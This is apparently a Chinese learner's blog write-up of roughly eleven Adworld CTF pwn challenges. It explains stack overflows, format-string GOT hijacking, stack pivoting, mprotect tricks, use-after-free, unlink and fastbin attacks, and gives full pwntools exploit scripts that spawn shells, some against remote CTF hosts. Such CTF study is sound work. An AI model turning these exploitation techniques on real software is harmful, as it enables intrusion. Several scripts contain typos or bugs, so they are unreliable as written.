攻防世界 Pwn 进阶 第二页_pwn snprintf-程序员宅基地

技术标签: CTF  安全  

00

这文章更重要的是对这些题进行一个总结,说一些值得注意的地方,写一些自己的理解。

为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆。

攻防世界 Pwn 新手

攻防世界 Pwn 进阶 第一页

栈漏洞总结
这个要重点关注一下,之前只学过里面的一部分,剩下的在这第二页很多都有一个体现。

格式化字符串漏洞归纳
这个里面栈上的都见过,下面刚好有一个非栈上的。

刚好之前做了总结,下面就刚好有实例。
真是妙蛙种子吃了妙脆角进了米奇妙妙屋妙到家了。

01 dubblesort

在这里插入图片描述一片绿

主要也是从缓冲区找地址。

用到了 read函数的缓存区有没有被清空掉 scanf的长度没有限制 还有 scanf函数在%x%u%d下对±输入的处理

我用的是本地的libc库。

在这里插入图片描述buf里面说不定有数据。
在这里插入图片描述
在这里插入图片描述然后就会有这个。

在这里插入图片描述然后就去看buf里面都有些啥。

在这里插入图片描述然后你就那里面随便泄露一个地址就行,泄露出来的地址是libc里面一个段的地址,它到libc头偏移是不变的,所以你可以先通过某次动调计算出这个偏移,然后之后脚本中泄露出这个地址之后直接减去偏移就会得到libc基地址。

然后就没啥了,就通过%u,输入+来绕过canary,然后ROP,ret2libc。
绕过canary就是scanf("%u",&a)也可以是%x,%d,输入+、-的时候就会跳过输入,可以自己拿C语言试试。

from pwn import*

r = process('./dubblesort')

context.log_level = "debug"


libc = ELF('/lib/i386-linux-gnu/libc.so.6')
off = 0x31cb9
payload = 'a' * 0xc
#gdb.attach(r, 'b read')
r.recvuntil("name :")
r.send(payload)

r.recvuntil(payload)

aaa = u32(r.recv(4))
libc_base = aaa - off
print hex(aaa)
print hex(libc_base)
system_addr = libc_base + libc.symbols['system']
print hex(system_addr)
bin_addr = libc_base + libc.search("/bin/sh").next()
print hex(bin_addr)
one_addr=libc_base+0x3ac6c
sh_addr=libc_base+0x17eaae

r.sendlineafter('sort :',str(35))
for i in range(0, 24):
    r.sendlineafter('number :',str(0))

r.sendlineafter('number :','+')
for i in range(0, 9):
    r.sendlineafter("number :",str(system_addr))

r.sendlineafter('number :',str(bin_addr))

r.recvuntil("Result :")
#sleep(1)
r.interactive()

这个是我学习时候本地调试的脚本,打远程的话看下面的wp。
在这里插入图片描述这个地方是我对本地libc的查看。

在这里插入图片描述
在最后下了个断。
在这里插入图片描述跑到这个地方程序就基本上是通了,但是我本地是没过的,这就又是另外一个问题了。

在这里插入图片描述libc换好
然后就没啥问题了。

大佬wp

02 1000levels

hijackGOT PIE绕过
PIE一篇过

查一波保护。

RELRO没有全开,想到可以hijackGOT,但是开了PIE,这就是这道题的难点。

这题其实说PIE是难点,我倒是觉得难就难在对那个hint函数的利用,确实那种需要你去看hint函数反汇编代码,去看go函数的反汇编代码对system函数的地址进行利用确实没想到,这是这个题的第一个难点。
PIE是这个题的第二个难点,难在找到system函数地址,找到溢出点,但是因为栈帧不一样,溢出不了,无法确定内存里面的具体地址,所以引入了vsyscall。用一种叫ret滑行的技术,说的接地气点就是一直ret,然后滑到system函数的地址,然后又因为缺参数,利用程序里的相加的那个机制,加上了从system到execve函数的偏移,最终拿到了shell,说白了就是通过partial write绕过PIE。

在这里插入图片描述
execve的地址通过one_gadget 来获得。

在这里插入图片描述
vsyscall地址通过gab来获得,不过一般vsyscall都是这个地址吧。

在这里插入图片描述
我刚开始真没看出来这里有个循环……

exp

# -*- coding: utf-8 -*-

from pwn import*
r = remote("220.249.52.133",46140)
#r = process("./100levels")
context.log_level = "debug"

libc = ELF('./libc.so')

execve_addr = 0x4526a
system_addr = libc.symbols['system']
offset_addr = execve_addr - system_addr
vsyscall = 0xffffffffff600000

r.sendlineafter("Choice:",'2')
r.sendlineafter("Choice:",'1')
r.sendlineafter("How many levels?",'0')
r.sendlinelafter('Any more?\n',str(offset_addr))
# 这里要注意用str()对其进行转换
  
for i in range(0,99):  
   r.recvuntil('Question: ')  
   a = int(r.recvuntil(' '))  
   r.recvuntil('* ')  
   b = int(r.recvuntil(' '))  
   r.sendlineafter('Answer:',str(a*b))  
  
#要注意这个循环里面对a跟b的处理  
payload = 'a'*0x38 + p64(vsyscall)*3  
  
r.sendafter('Answer:',payload)  
#这个地方要注意啊
#send跟sendline终究不能用,不能瞎写,这里的话sendline会多送一个'\n',
#会覆盖一个字节的system地址,导致exp出错。
r.interactive() 

参考wp1
参考wp2

03 easypwn

snprintf漏洞 栈溢出 hijackGOT

在这里插入图片描述canary nx都开了
RELRO部分开启

科普一波
开启RELRO

在前面描述的漏洞攻击中曾多次引入了GOT覆盖方法,GOT覆盖之所以能成功是因为默认编译的应用程序的重定位表段对应数据区域是可写的(如got.plt),这与链接器和加载器的运行机制有关,默认情况下应用程序的导入函数只有在调用时才去执行加载(所谓的懒加载,非内联或显示通过dlxxx指定直接加载),如果让这样的数据区域属性变成只读将大大增加安全性。
RELRO(read only relocation)是一种用于加强对 binary 数据段的保护的技术,大概实现由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO 分为 partial relro 和 full relro。

所以其实你看其他的都开了,而RELRO只开了部分,就想到可以劫持GOT表,就应该开始向着这边靠拢。

snprintf这个函数要好好注意 也是经常出漏洞
通过栈溢出能够利用snprintf漏洞进行hijackGOT拿到shell

首先是对memset这个函数的一个认识
C 库函数 void *memset(void *str, int c, size_t n) 复制字符 c(一个无符号字符)到参数 str 所指向的字符串的前 n 个字符。
C 库函数 int snprintf(char *str, size_t size, const char *format, …) 设将可变参数(…)按照 format 格式化成字符串,并将字符串复制到 str 中,size 为要写入的字符的最大数目,超过 size 会被截断。
在这个题里发现它的指针要是没有指向缓冲区,他就给你直接开一个缓冲区 真牛逼

有两个函数
LOWORD(v3) = ‘s%’;
BYTE2(v3) = 0;
(*((_BYTE*)v3+2)) = 0
LOWORD()得到一个32bit数的低16bit
HIWORD()得到一个32bit数的高16bit
LOBYTE()得到一个16bit数最低(最右边)那个字节
HIBYTE()得到一个16bit数最高(最左边)那个字节

IDA逆向宏定义

当能泄露地址的时候,很多时候,想泄露个libc,就得蒙它在哪
一般都是会发现
它在栈里面
或者在read函数这种没有初始化的缓冲区里
新技能get√
但是怎样去找这个地址是要很多技巧的

比如这个题,其实我感觉它最难的地方在泄露libc的地址。
在这里插入图片描述
你看它首先是把v3的地方变成了一个%s,其实那个地方原本是一串神秘数字,需要你变一下字符串。
然后计算偏移,构造payload。
‘a’ * 0x3E8 + ‘bb%397$p’
3E8是通过计算从v2到v3的距离,后面的bb那个就是用来覆盖v3的,之所以先来个bb,是为了覆盖那里的%s的,然后就是怎样计算偏移是397。

研究方法颇为曲折,但最后我还是搞懂了。
首先先确定snprintf的偏移
两种方法

第一种是可以通过输入-%p-%p这种东西将偏移给试出来。
先用gdb 的 cyclic 生成一个超长字符串,我的gdb不知道为啥cyclic不能用,就只能通过python来完成这件事。
在这里插入图片描述
一般的printf函数我们只需要
在这里插入图片描述因为栈顶的值就是aaaaaaaa,直接确定偏移是6,而且printf函数在64位的情况下偏移都是6,前几个是那六个寄存器里面的后五个,rsi,rdx,rcx,r8, r9。

在这里插入图片描述
这个它为啥要压栈我也不是很清楚,图里面rsp是因为已经进入snprintf函数了,不是main函数栈帧顶,所以想知道snprintf的偏移就得通过gdb来调。

第四个就是栈顶的地址,所以偏移是4。

在这里插入图片描述
然后为什么是397
在这里插入图片描述你看咱要的地址在18a那个地方,0x18a就是394,第一个是偏移为4的地方,所以偏移397。

然后发现,偏移为1的值是rcx,有意思。

在这里插入图片描述exp

from pwn import*
context.log_level = "debug"
r = remote("220.249.52.133", 43224)
elf = ELF("./pwn1")
libc = ELF("./libc.so.6")

def echo(payload):
    r.sendlineafter("Input Your Code:\n",'1')
    r.sendlineafter("Welcome To WHCTF2017:\n", payload)

def setname(name):
    r.sendlineafter("Input Your Code:\n",'2')
    r.sendlineafter("Input Your Name:\n", name)

setname('1') 
#这句话是让延迟绑定机制跑一次让地址进入GOT表
padding_num = 0x7f8 - 0x410
payload = 'a' * padding_num + 'bb%397$p'
echo(payload)
r.recvuntil("0x")
'''
__libc_main_addr = u64(r.recv(6).ljust(8,'\x00'))
libc_base = (__libc_main_addr - 0xEB) - libc.symbols['__libc_start_main']
'''
'''
我第一次写的时候一直报错,然后发现是我这两个接受地址的句子写的有问题,仔细研究之后发现
'''
main_return = int(r.recvuntil('\n').strip(), 16)
libc_base = (main_return - 0xEB) - libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
free_addr = libc_base + libc.symbols['free']
print system_addr
print libc_base
print system_addr - libc_base
print system_addr & 0xffff
payload = 'a' * padding_num + 'bb%396$p'
echo(payload)
r.recvuntil("0x")
#init_addr = u64(r.recv(6).ljust(8,'\x00'))
init_addr = int(r.recvuntil('\n').strip(), 16)
code_base = init_addr - 0xda0
free_got = code_base + elf.got['free']

num = (system_addr & 0xFFFF) - padding_num - 0x16

print 'num = ' + str(num)

payload = 'a' * padding_num + ('bb%' + str(num) + 'c%133$hn').ljust(16, 'a') + p64(free_got)
echo(payload)
num = ((system_addr >> 16) & 0xFFFF) - padding_num - 0x16

payload = 'a' * padding_num + ('bb%' + str(num) + 'c%133$hn').ljust(16, 'a') + p64(free_got + 2)
echo(payload)

setname('/bin/sh')
r.interactive()

在这里插入图片描述它还藏了一手。

这就写的挺好啊

这篇也非常棒

04 format2

在这里插入图片描述

栈迁移的两种作用之一:栈溢出太小,进行栈迁移从而能够写入更多shellcode,进行更多操作。

栈迁移一篇搞定

有个陌生的函数。

C 库函数 void *memcpy(void *str1, const void *str2, size_t n) 从存储区 str2 复制 n 个字节到存储区 str1。

在这里插入图片描述
这里的base64函数的话其实还是建议记住怎么用就好,没必要去分析里面的过程。

在这里插入图片描述
这一部分是这个题的重点,首先是看它第一个函数又把input往v4那里复制了一下,要注意的是这个函数本身就是有问题的,容易发生溢出,然后看一下栈,果然溢出,又注意到下面的能通过后门函数的条件是s2加密与那一串相比,发现s2的地方啥也不是,所以只能栈迁移。然后前面有一个输入长度的限制,只能覆盖ebp……

这……这不就逼着你用栈迁移??????

exp

from pwn import*
import base64
context.log_level = "debug"
r = remote("220.249.52.133",50893)

system_addr = 0x8049284
#注意  这个system的地址要写system前一句,就是把shellcode加上
input_addr = 0x811eb40

payload = base64.b64encode('a' * 4 + p32(system_addr) + p32(input_addr)) 
# 这块关于base64库的运用要格外注意一下。

r.sendlineafter('Authenticate : ',payload)

r.interactive()

这个是爆破

exp

#coding:utf8 
from pwn import*
from LibcSearcher import*
context.log_level = "debug"
for i in range(0x100):
    try: 
        sh = remote('220.249.52.134',39955)
        elf = ELF('./easyfmt')  
        printf_got = elf.got['printf']  
        read_got = elf.got['read']  
        exit_got = elf.got['exit']  
        print(1)  
        sh.sendlineafter('enter:','2')  
        
        #修改exit的got表,指向main+0x7C处,即形成一个循环,这样我们能继续使用printf  
        payload = '%' + str(0x982) + 'c%10$hn'  
        payload = payload.ljust(16,'b') + p64(exit_got)  
        sh.sendline(payload)  
          
        #泄露read地址  
        payload = '%10$sBBB' + p64(read_got)  
        sh.recvuntil('slogan: ')  
        sh.sendline(payload)  
  
        sh.recvuntil('slogan: ')  
        sh.recv(1)  
  
        read_addr = u64(sh.recvuntil('BBB',drop = True).ljust(8,'\x00'))  
        #print hex(read_addr)  
        libc = LibcSearcher('read',read_addr)  
        libc_base = read_addr - libc.dump('read')  
        system_addr = libc_base + libc.dump('system')  
        print 'libc_base=',hex(libc_base)  
        print 'system_addr=',hex(system_addr)  
          
        #修改printf的got表,只需修改低3字节即可到system  
        data = system_addr & 0xFF  
        payload = '%' + str(data) + 'c%14$hhn'  
        data = ((system_addr & 0xFFFFFF) >> 8) - data  
        payload += '%' + str(data) + 'c%15$hn'  
        payload = payload.ljust(32,'B') + p64(printf_got) + p64(printf_got+1)  
        sh.recvuntil('slogan: ')  
        sh.sendline(payload)  
          
        #get shell  
        sh.sendlineafter('slogan: ','/bin/sh')  
          
        sh.interactive()
    except:
        continue
       

附上一篇供参考的wp

05 250

在这里插入图片描述

静态的
本来开了NX
但是可以通过修改权限来是的堆栈可执行
在我前面的总结里面有
通过mprotect修改权限
这个题本质也是这样的
只不过对mprotect包装了一下
成了__dl_make_stack_executable
然后就栈可以执行了

可以直接用mprotect,去改它的权限。

exp

from pwn import*

r = process('./250')
elf = ELF['./250']

mprotect_addr = elf.sym['mprotect']
main_addr = elf.sym['main']
read_addr = elf.sym['read']
bss_addr = 0x80ebf80

r.recvuntil('SSCTF[InPut Data Size]') 
r.sendline('100')
r.recvuntil('SSCTF[YourData]')
payload = 'a' * 62 + p32(mprotect_addr) +
p32(main_address) + p32(bss_address) + p32(100) + p32(7) r.sendline(payload)

r.recvuntil('SSCTF[InPut Data Size]') 
r.sendline('100')
r.recvuntil('SSCTF[YourData]') 
shellcode =。 shellcraft.i386.sh() 
#这样写比在前面写context.arch = "i386"快得多
shellcode =asm(shellcode) payload = 'A' * 62 + p32(read_add) + p32(bss_addr) +
p32(0) + p32(bss_addr) + p32(100) 
r.sendline(payload)
r.sendline(shellcode) 
r.interactive() 

也可以学一学其它利用技巧通过__dl_make_stack_executable进行绕过对他进行处理。

在这里插入图片描述
这个题主要是要对这个函数进行分析。
首先看它有个检测,我们需要绕过它。
你看它是检测eax寄存器里面的值。

在这里插入图片描述
就直接返回地址的时候返回到0x809A260的地方就会解决这个烦恼,因为我们只需要设置一个ebp的值,来使得[ebp+arg_10]为__libc_stack_end的地址,然后你就去找它得地址,然后你可能会有这样的操作。
在这里插入图片描述
你一点来到了这里,然后就说0x80eafc8是它的地址,那你就错了,真正的地址在这里。

在这里插入图片描述在这里插入图片描述你需要在它的汇编代码处看他的十六进制代码,然后发现它的地址是0x80A0805,所以其实……这个语句的意思是比较ecx里面的地址与后面那个地址一样不一样。

还有那个arg_10,它是这样的。
在这里插入图片描述所以我们就令ebp为0x80A0B05 - 0x18,这样[ebp+arg_10]为__libc_stack_end的地址。

然后汇编代码

在这里插入图片描述执行完函数后会回到test,有个判断,如果跟着上面那个函数跳几下就结束程序了,跟着下面走就报错了。
然后你会发现eax里面存放着之前的0x80A0B05,所以后面那个是不会跳转的,就会报错。

然后就想着怎么就能返回地址不是那个地方。
我们就需要利用gadgets修改_dl_make_stack_executable_hook的值。

在这里插入图片描述

注意到hook函数第一句是把返回地址压入栈,那如果我们不执行这一句,直接开始压ebp,那么hook函数的返回地址我们就可以控制,然后修改的方式就是通过inc这个句子,将_dl_make_stack_executable_hook地址放在esp寄存器里之后,把地址加1,就可以跳过压入参数那个句子。
在这里插入图片描述

在这里插入图片描述
最后jmp到栈顶,也就是esp,然后因为调用函数完成之后esp会回退,所以jmp后面接着的就是函数的栈顶,所以直接写入shellcode就可以了。

#coding:utf8  
from pwn import *  

r = remote('111.198.29.45',52378)  
elf = ELF('./pwnh38')  
_dl_make_stack_executable_hook = elf.symbols['_dl_make_stack_executable_hook']  
call_dl_make_stack_executable = 0x809A260  
inc_p_ecx = 0x080845f8  
pop_ecx = 0x080df1b9  
jmp_esp = 0x080de2bb  
r.sendlineafter('SSCTF[InPut Data Size]',str(0x100))  
payload = 'a'*0x3A + p32(0x80A0B05 - 0x18)  
payload += p32(pop_ecx) + p32(_dl_make_stack_executable_hook) + p32(inc_p_ecx)  
payload += p32(call_dl_make_stack_executable) + p32(jmp_esp)  
payload += asm(shellcraft.i386.linux.sh()) 
# 执行的shellcode这样写……
r.sendlineafter('SSCTF[YourData]',payload)  
      
r.interactive()  

也可以参考参考这位大佬的博客

06 Easyfmt

这个题的亮点是怎么就能通过格式化字符串是的程序循环起来做到一个不断地地址读写功能,还要注意怎么去找还没有绑定的函数表里面的内容。
关于格式化字符串漏洞的总结没有白做
还要学会爆破

相关资料网址给上
相关资料1
相关资料2

在这里插入图片描述
这个题就是需要我们先通过爆破,然后利用格式化字符串漏洞制造程序的循环,然后通过反复的printf对程序进行攻击。

首先我们要做的事情是找到偏移,它这里有那个检查,导致我去正常输入不大好整,所以这里推荐gdb,跑到check的时候直接jump走,这样查它的偏移。

在这里插入图片描述比较是在这个地方cmp eax 1,我们这里可以用set直接修改寄存器的值,让判定成功从而绕开检查。

在这里插入图片描述buf上面是两个变量,然后在上是返回地址,所以偏移是8.

然后你看那个checkin函数,你从它那个反汇编代码看过去,最后比较的是v1,明显有问题,但是看汇编代码就会发现它就是在比较你的输入与 v3[0].
在这里插入图片描述然后就是需要你研究研究爆破的程序怎么写,然后printf的时候先修改got表,制造循环,但是由于RELRO为Partial RELRO,是延迟绑定,因此,exit的got表初始值为这个

在这里插入图片描述0x400726

在这里插入图片描述
我们想修改为0x400982,所以只修改最后几个字节就行。

然后一直在里面循环之后为了劫持GOT表,需要再修改一个函数,决定修改printf,因为可以写入/bin/sh让它执行,然后故技重施。

exp

from pwn import *  
from LibcSearcher import *  

r = process('./easy_fmt')  
elf = ELF('./easy_fmt')  
printf_got = elf.got['printf']  
read_got = elf.got['read']  
exit_got = elf.got['exit']  
      
r.sendlineafter('enter:','2')  
payload = '%' + str(0x982) + 'c%10$hn'  
payload = payload.ljust(16,'b') + p64(exit_got)  r.sendline(payload)  
payload = '%10$saaa' + p64(read_got)  
r.recvuntil('slogan: ')  
r.sendline(payload)  
r.recvuntil('slogan: ')  
r.recv(1)  
read_addr = u64(sh.recvuntil('BBB',).ljust(8,'\x00'))    
libc = LibcSearcher('read',read_addr)  
libc_base = read_addr - libc.dump('read')  
system_addr = libc_base + libc.dump('system')  
data = system_addr & 0xff
payload = '%' + str(data) + 'c%14$hhn'  
data = ((system_addr & 0xffffff) >> 8) - data  
payload += '%' + str(data) + 'c%15$hn'  
payload = payload.ljust(32,'B') + p64(printf_got) + p64(printf_got+1)  
r.recvuntil('slogan: ')  
r.sendline(payload)  

r.sendlineafter('slogan: ','/bin/sh')  
      
r.interactive()  

这个题的参考wp
参考wp1

遇到这种格式化字符串漏洞制造循环的问题,大体思路。 1、要看它的保护,RELRO,跟PIE。
2、PIE没开的情况下,如果RELRO没开就可以覆盖fini_anary。
3、PIE没开的情况下,如果RELRO是半开,可以覆盖exit的got表。 4、PIE开了的时候,可以用partial write。
5、fini_anary跟返回地址都在text段。可以pw 6、got表在调用前填写的地址也在text段。可以pw

07、house_of_grey

在这里插入图片描述绿油油

一道很复杂的ROP。
在这里插入图片描述
这程序一进去我就挺懵的
第一个fd是打开系统文件
mmap建立内存与进程的映射关系
clone是创建线程的函数

clone里面的fn是个函数,点进去看到了新天地

在这里插入图片描述

细细品一品

strtoul,将参数nptr字符串根据参数base来转换成无符号的长整型数。
lseek是一个用于改变读写一个文件时读写指针位置的一个系统调用。指针位置可以是绝对的或者相对的。

进去之后用seccomp-tools发现它ban掉了execve,什么是个seccomp-tools?seccomp是linux沙箱机制,就是限制进程对内存资源的读写,限制其权限,从而实现保护。

#项目地址
https://github.com/david942j/seccomp-tools

#安装命令
sudo apt install gcc ruby-dev
gem install seccomp-tools

#使用命令
seccomp-tools dumo ./文件名
seccomp-tools dump ./文件名 -f inspect

然后就考虑ROP把flag读到内存中,ROP的话 首先得考虑地址的泄露,然后就通过爆破,爆出来栈地址,然后获得read返回地址,一个任意些,就ROP了。

exp就不贴了,大佬博客自取吧。毕竟我也是看人家博客学的。

大佬wp1
大佬wp2
大佬wp3

08 RCalc

栈溢出 堆溢出

在这里插入图片描述

先介绍个函数 setvbuf()
C 库函数 int setvbuf(FILE *stream, char *buffer, int mode, size_t size) 定义流 stream 应如何缓冲。

stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
buffer -- 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
mode -- 这指定了文件缓冲的模式:
size --这是缓冲的大小,以字节为单位。

mode模式
_IOFBF 全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。
_IOLBF 行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。
_IONBF 无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略

说实话,我也还是不大明白这句子是干嘛的。但是不影响我们做这个题。

对这个程序的分析
首先是第一个函数,一定要看清楚,定义了两个地址,F0,F8, A00
F0 F8 里面先存了两个地址,指向两个堆,A00也指向了一个堆
然后F0里面存了一个0
F8里面存了一个0x320大小的堆的地址
通过F0 与 F8 构成了一个栈
然后第二个函数计算机开始,先是一个canary的机制,然后就是计算机那一堆函数,
输入名字那里有一个栈溢出漏洞
存结果那里有一个堆溢出漏洞

确实……这种分析方法
那个函数刚开始出现初始化了一下 也没啥方法能利用
而且这个程序没有free函数 这种分析方法很关键
要对那些经常出现漏洞的函数敏感。

exp

#coding:utf8  
from pwn import *  
context.log_level = 'debug'  
r = process('./RCalc')  
elf = ELF('./RCalc')  
libc = ELF('./64/libc-2.23.so')  
printf_plt = elf.plt['printf']  
__libc_start_main_got = elf.got['__libc_start_main']  
pop_rdi = 0x401123  
main_addr = 0x401036  
mycanary = 0  
def setCanary(canary):  
   for i in range(0x22):  
       r.sendlineafter('Your choice:','1')  
       r.sendlineafter('input 2 integer:','0')  
       r.sendline('1')  
       r.sendlineafter('Save the result?','yes')  
   r.sendlineafter('Your choice:','1')  
   r.sendlineafter('input 2 integer:','0')  
   r.sendline(str(canary))  
   r.sendlineafter('Save the result?','yes')  
      
#注意,我们的payload中不能有0x20数据,因为这是空格,会导致数据截断  
#我们先写ROP到栈里  
payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(__libc_start_main_got) + p64(printf_plt) + p64(main_addr)  
r.sendlineafter('Input your name pls: ',payload)  
#现在我们要通过堆溢出,把canary的值改成我们的mycanary  
setCanary(mycanary)  
r.sendlineafter('Your choice:','5')  
      
__libc_start_main_addr = u64(sh.recv(6).ljust(8,'\x00'))   
libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']  
system_addr = libc_base + libc.sym['system']  
binsh_addr = libc_base + libc.search('/bin/sh').next()  
      
payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  
r.sendlineafter('Input your name pls: ',payload)  setCanary(mycanary)  
r.sendlineafter('Your choice:','5')  
    
r.interactive() 

大佬wp

09 Hacknode

这就是个uaf
在这里插入图片描述是堆最常见的菜单题,发现在delete函数里面free了之后没有清理指针,造成了函数有野指针,自然想到UAF。
这个题从宏观上看,malloc有两层,能够往里面那一层写东西,外面那一层就是有函数的调用,就是利用uaf实现了野指针指向的第一层是另外一项的第二层,从而可以往野指针指向的地方写入数据,达到漏洞利用。
说的很抽象,画个图。

在这里插入图片描述画的太丑了

可以结合下面大佬的wp来看。

大佬的wp

因为它其实给了libc,但是大佬博客用的是LibcSearcher,所以我把用libc的exp贴在下面。

exp

from pwn import *
context.log_level = "level"
p=process('./hacknote')
elf=ELF('./hacknote')
libc=ELF('./libc_32.so.6')
def add_note(size,content):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Note size :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.sendline(str(content))
def put_note(index):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))
def del_note(index):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))
add_note(0x20,'aaaa')
add_note(0x20,'aaaa')
del_note(0)
del_note(1)
put_plt=0x0804862b
put_got=elf.got['puts']
add_note(0x8,p32(put_plt)+p32(put_got))
put_note(0)
put_addr=u32(p.recv(4))
print hex(put_addr)
offset=put_addr-libc.symbols['puts']
sys_addr=libc.symbols['system']+offset
del_note(2)
add_note(0x8,p32(sys_addr)+'||$0') #or '||sh'
put_note(0)
p.interactive()

最后的两种起shell的方法要记住了。sh跟$0。

因为这个题最后达到的一个效果是,控制了note,然后使得note.func(note[i]),当func被控制成system的时候,note里面的内容会变成参数,note里面前四个字节是system的地址,所以后面四个字节必须写成sh或者$0,但是前面那个参数有问题,所以就需要||这个符号,或命令符,也叫管道符了。

10 4-ReeHY-main-100

unlink

在这里插入图片描述

这个题它还是之前那种菜单模式,跟之前不一样的是之前申请的空间都是动态申请堆,现在都是静态变量,在bss段。
就有那个武器是动态的

一个陌生的函数
C 库函数 void *memcpy(void *str1, const void *str2, size_t n) 从存储区 str2 复制 n 个字节到存储区 str1。

介绍堆的

这是分析堆最好的文章

unlink:
unlink是堆的一个机制。smallbins largebins unsortedbins 双链表断链的时候会发生unlink;
当释放一段比较大的内存却发现相邻堆块也是空闲的时候,会向前或者向后合并,那此时这个相邻的堆块如果在双链表上也会发生unlink。

在这里插入图片描述
申请空间的函数是重点,里面有点很意外的东西。

在这里插入图片描述第一个这是先按字节走,读的时候用DWORD读
第二个这是走就按QWORD走

所以它两个地址,一个记录数组的地址四个字节记录一个数,而写地址的数组,16个字节才记录一个地址,然后我们知道每个地址其实就八个字节就够,然后那个flag数组居然镶嵌在了第一个地址后面,我直呼好家伙。

这个题非常NB
大体思路是这样的。
首先我们想用unlink去控制存放地址的数组那里,但是我们需要堆溢出或者uaf,去修改fd,bk的指针,但是我们又没有这个漏洞,我们这里能够利用的只有delete的时候可以使用负数,所以直接把有大小限制的堆块给释放掉,然后再申请回来,从而达到控制的效果,有点house of free的味道。

exp

from pwn import*
from LibcSearcher import*

context.log_level = "debug"
r = remote("220.249.52.133",37297)

def welcome():
    r.sendlineafter("$","yongibaoi")
def create(size,index,content):
    r.sendlineafter("$","1")
    r.sendlineafter("Input size\n",str(size)) #str()
    r.sendlineafter("Input cun\n",str(index))
    r.sendafter("Input content\n",content) #sendline()   send()
def delete(index):
    r.sendlineafter("$","2")
    r.sendlineafter("Chose one to dele\n",str(index))
def edit(index,content):
    r.sendlineafter("$","3")
    r.sendlineafter('Chose one to edit\n',str(index))  
    r.sendafter('Input the content\n',content)

welcome()
create(0x100,0,'a' * 0x100)
create(0x100,1,'b' * 0x100)

delete(-2)

payload = p32(0x200) + p32(0X100)   
create(0x14,2,payload)

payload = p64(0) + p64(0x101)
payload += p64(0x6020c8) + p64(0x6020d0)
payload += 'a' * (0x100 - 4 * 8)
payload += p64(0x100) + p64(0x100 + 2 * 8)
edit(0,payload)

delete(1)

elf = ELF('./hy')
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']

payload = '\x00' * 0x18
payload += p64(free_got) + p64(1)
payload += p64(puts_got) + p64(1)
payload += p64(atoi_got) + p64(1)

edit(0,payload)

edit(0,p64(puts_plt))

delete(1)

puts_addr = u64(r.recv(6).ljust(8,'\x00')) #recv addr  

libc = LibcSearcher('puts',puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')

edit(2,p64(system_addr))
r.sendlineafter('$',"/bin/sh")  

r.interactive()

unlink
double free
大佬的最全wp

11 noleak

uaf、double free、

fastbin attack 、unsortedbin attack

在这里插入图片描述
这个题没开了NX,肯定要搞事情。

就像题目说的一样,程序很简单,但确实是没有泄露地址的地方。

delete 里面没有清理野指针 造成UAF
update 里面可以重新输入读入的长度 造成堆溢出

那问题来了,怎么利用这两个漏洞点。
有两种利用方法,下面那一堆链接里面有。

第一种
我们先通过unlink机制,控制buf部分内容,结合题目具体点就是把buf-0x18的地址写到了buf中,然后利用unsorted_bin attack,把buf看成是一个chunk,将main_arena + 0x88的地址写到buf[6]的地方,再覆盖地址最后两个字节为0x10,从而变成malloc_hook的地址,从而控制malloc_hook,执行提前再bss上写好的shellcode。不停的可以再buf上写是每次写的时候再把buf地址写在buf数组中,就可以一直写。

第二种
就是常说的fastbin_attack malloc_hook attcak组合拳, 下面那链接几个里面有详细介绍组合拳的,我就不罗嗦了。

从大佬那里直接嫖来的exp,你也可以去大佬博客看大佬的。

第一种
exp

from pwn import *

def add(size, content):
	print r.recvuntil("Your choice :")
	r.sendline('1')
	print r.recvuntil("Size: ")
	r.sendline(size)
	print r.recvuntil("Data: ")
	r.send(content)

def delete(index):
	print r.recvuntil("Your choice :")
	r.sendline('2')
	print r.recvuntil("Index: ")
	r.sendline(index)

def edit(index, size, content):
	print r.recvuntil("Your choice :")
	r.sendline('3')
	print r.recvuntil("Index: ")
	r.sendline(index)
	print r.recvuntil("Size: ")
	r.sendline(size)
	print r.recvuntil("Data: ")
	r.send(content)


r = remote("111.198.29.45", 39021)
context(arch = "amd64", os = 'linux')
elf = ELF("./Noleak/timu")
libc = ELF("./Noleak/libc-2.23.so")
malloc_hook = libc.symbols['__malloc_hook']
bss = 0x601020
buf = 0x601040


#	chunk 0 
add(str(0x90), 'a\n')
#	chunk 1
add(str(0x90), 'b\n')
#	fade chunk
#	pre_size, size
payload = p64(0) + p64(0x91) 
#	fd, bk  
payload += p64(buf - 0x18) + p64(buf - 0x10)  
payload += p64(0) * 14
#	change chunk size of 1
payload += p64(0x90) + p64(0xa0)  

edit('0', str(len(payload)), payload)
delete('1')
payload = p64(0) * 3 + p64(bss) + p64(buf) + p64(0) * 3 + p64(0x20)
#	change buf[0] pointer to bss, buf[1] to buf
edit('0', str(len(payload)), payload) 

#	chunk 2
add(str(0x100), 'c\n')
#	chunk 3
add(str(0x100), 'd\n')

delete('2')
payload = p64(0) + p64(buf + 0x8 * 4)
edit('2', str(len(payload)), payload)

#	chunk 4, addr is the same with chunk2
add(str(0x100), 'e\n')

payload = p64(bss) + p64(buf) + p64(0) * 4 + '\x10'
edit('1', str(len(payload)), payload)

shellcode = asm(shellcraft.sh())
